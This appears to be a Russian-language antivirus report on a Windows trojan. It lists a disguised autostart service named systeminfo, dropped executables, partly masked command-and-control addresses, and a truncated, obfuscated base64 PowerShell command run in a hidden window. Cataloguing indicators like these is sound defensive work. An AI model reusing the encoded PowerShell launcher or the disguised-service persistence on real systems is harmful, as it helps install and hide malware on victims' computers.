Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\systeminfo] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\systeminfo] 'ImagePath' = '"%WINDIR%\SysWOW64\dvdupgrd\systeminfo.exe"'
- 'systeminfo' "%WINDIR%\SysWOW64\dvdupgrd\systeminfo.exe"
- 'systeminfo' %WINDIR%\SysWOW64\dvdupgrd\systeminfo.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABNAHUAcQB4AGoAcwBiAD0AKAAoACcAQwAnACsAJwBiADEAJwApACsAKAAnAG0ANwAnACsAJwBfADAAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AVgA6AHUAcwBlAHIAcABSAE8AZgBJAEwAZQ...
- systeminfo.exe
- %HOMEPATH%\dfbqmk5\a_jz4o5\kvc2gdn.exe
- %TEMP%\78129385
- %TEMP%\nsm6f37.tmp\system.dll
- %TEMP%\nsc1297.tmp\system.dll
- %WINDIR%\syswow64\dvdupgrd\systeminfo.exe
- %HOMEPATH%\dfbqmk5\a_jz4o5\kvc2gdn.exe в %WINDIR%\syswow64\dvdupgrd\systeminfo.exe
- '71.##.196.159':80
- http://dh###anet.com/Pej/
- http://71.##.196.159/O8tB21CpJ5j/lhCqYUGd1E8/
- DNS ASK dh###anet.com
- '%HOMEPATH%\dfbqmk5\a_jz4o5\kvc2gdn.exe'
- '%WINDIR%\syswow64\dvdupgrd\systeminfo.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABNAHUAcQB4AGoAcwBiAD0AKAAoACcAQwAnACsAJwBiADEAJwApACsAKAAnAG0ANwAnACsAJwBfADAAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AVgA6AHUAcwBlAHIAcABSAE8AZgBJAEwAZQ...' (со скрытым окном)